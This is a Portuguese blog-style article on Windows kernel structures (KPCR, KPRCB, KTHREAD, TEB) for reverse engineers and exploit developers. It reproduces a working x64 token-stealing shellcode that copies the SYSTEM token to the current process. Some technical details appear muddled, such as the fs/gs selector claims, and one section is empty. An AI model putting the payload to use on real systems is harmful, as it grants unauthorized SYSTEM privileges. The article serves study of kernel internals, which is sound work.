Hermits of the Kernel Caves: Unraveling KPCR in Windows

“All knowledge is connected to all other knowledge. The fun is in making the connections.” – Arthur C. Aufderheide


Introdução

Dentro do kernel do Windows, encontramos duas estruturas intrigantes KPCR e TEB. Esta é uma história contada de trás para frente, assim como ocorre na prática — onde o sintoma leva ao diagnóstico, e não o contrário.

Para quem constrói exploits no kernel do Windows, sabe da importância de um payload que consiga escalar privilégio de maneira eficiente e correta. E para cada nova versão dos sistemas operacionais, novos offsets e estruturas podem surgir, e com isso possivelmente o payload deixará de ser funcional.

Copiando o payload escrito aqui - https://keramas.github.io/2020/06/21/Windows-10-2004-EPROCESS-Structure.html. Observe quantas estruturas e endereços são acessados.

; Windows 10 x64 2004 Token Stealing Payload

[BITS 64]

__start:
    xor rax, rax
    mov rax, [gs:0x188] ; Current thread -> _KTHREAD
    mov rax, [rax + 0xb8]   ; Current process -> _EPROCESS
    mov r8, rax     ; Move current process' _EPROCESS to r8

__loop:
    mov rax, [rax + 0x448]  ; ActiveProcessLinks
    sub rax, 0x448      ; Return to current process -> _EPROCESS
    mov rcx, [rax + 0x440]  ; UniqueProcessId (PID)
    cmp rcx, 4      ; Compare PID to SYSTEM process PID (0x4)
    jnz __loop      ; Iterate over EPROCESS nodes until SYSTEM PID is located

    mov r9, [rax + 0x4b8]   ; _EPROCESS + 0x4b8 -> token
    mov [r8 + 0x4b8], r9    ; Copy SYSTEM token to current process

É preciso compreender quais os caminhos a serem seguidos e as estruturas primitivas do Kernel. Pois caso o payload deixe de funcionar, não vamos esperar que alguem publique na internet algo novo, devemos nós mesmos criar nosso payload. Mas o propósito desse texto não é sobre payloads para exploits e sim sobre, conhecer as estruturas do Kernel do Windows.

Portanto, ao invés de esperar por artigos ou dumps no GitHub, devemos conhecer as primitivas do Kernel a fundo.


KPCR – Kernel Processor Control Region

A KPCR é uma das primeiras estruturas acessadas pelo kernel. Ela contém dados importantes sobre o processador. O KPCR contém ponteiros para listas de threads, clocks, e o componente KPRCB (Kernel Processor Control Block), usado internamente pelo ntoskrnl.exe.

Não, a KPCR não inclui diretamente o número de cores. Ela traz informações contextuais do processador lógico atual, úteis para o gerenciamento de threads, interrupções e execução em nível de kernel.

Não confundir KPRCB E KPCR. KPRCB é uma estrutura contida em KPCR.

  • Em sistemas 32-bit, via ‘fs’.
  • Em sistemas 64-bit, via ‘gs’.

Essa estrutura também fornece acesso indireto à thread atual, por meio de ponteiros que levam até a KTHREAD, e dele para a TEB.

Uma instrução comum de ser avistada em assembly é a seguinte:

push dword ptr gs:0

Isso aponta para o início da TEB (mais precisamente, da NT_TIB). E o seletor gs em modo usuário é carregado com o valor 0x003B (ring 3), que aponta para a entrada 0x0038 da GDT, conhecida como KGDT_R3_TEB.

No x64:

  • fs aponta para a TEB 32-bit em ambientes WoW64 (selector 0x0053)
  • gs aponta para a TEB 64-bit através do MSR_GS_SWAP (0xC0000102)

Ilustração do Caminho

KPCR (fs/gs)
 └── KPRCB
      └── KTHREAD
           └── Teb → TEB (user-mode)
                     └── NT_TIB

Anexo – Estruturas de Referência

// NT_TIB (simplificado)
typedef struct _NT_TIB {
    PVOID ExceptionList;
    PVOID StackBase;
    PVOID StackLimit;
    PVOID SubSystemTib;
    PVOID FiberData;
    PVOID ArbitraryUserPointer;
    struct _NT_TIB *Self;
} NT_TIB;

// TEB (incompleto)
typedef struct _TEB {
    NT_TIB NtTib;
    PVOID EnvironmentPointer;
    CLIENT_ID ClientId;
    PVOID ActiveRpcHandle;
    PVOID ThreadLocalStoragePointer;
    PPEB ProcessEnvironmentBlock;
    ULONG LastErrorValue;
    // ...
} TEB;

TEB – A Mente da Thread

A Thread Environment Block é a representação em modo usuário de uma thread. Cada thread que entra em user-mode possui sua própria TEB. Ela contém:

  • Stack base e limite
  • TLS (Thread Local Storage)
  • Ponteiro para exceções
  • Identificadores de processo e thread
  • Ponteiro para si mesma em NtTib.Self

#ifdef _WIN64 PTEB teb = (PTEB)__readgsqword(0x30); #else PTEB teb = (PTEB)__readfsdword(0x18); #endif

Ou via Windbg:

!teb
TEB at 0x249000

A TEB começa com a estrutura NT_TIB, que inclui informações sobre tratamento de exceções e pilhas.


Cada Thread, Sua TEB

Cada nova thread criada por um processo recebe sua própria TEB. Isso assegura isolamento de contexto, gerenciamento de exceções, e acesso exclusivo ao TLS. No modo kernel, cada KTHREAD possui um campo ‘Teb’ com o ponteiro para a TEB respectiva.

PVOID PsGetThreadTeb(PETHREAD Thread);

Descobrindo a TEB de Trás pra Frente

Conclusão

A jornada pelo kernel do Windows é tola e gratificante. Entender as ligações entre KPCR, KPRCB, KTHREAD e TEB é fundamental para quem trabalha com engenharia reversa, desenvolvimento de exploits ou análise de malwares. O conhecimento dessas estruturas é o que permite adaptar ferramentas e seguir explorando as cavernas do kernel — de trás pra frente, como a vida real exige.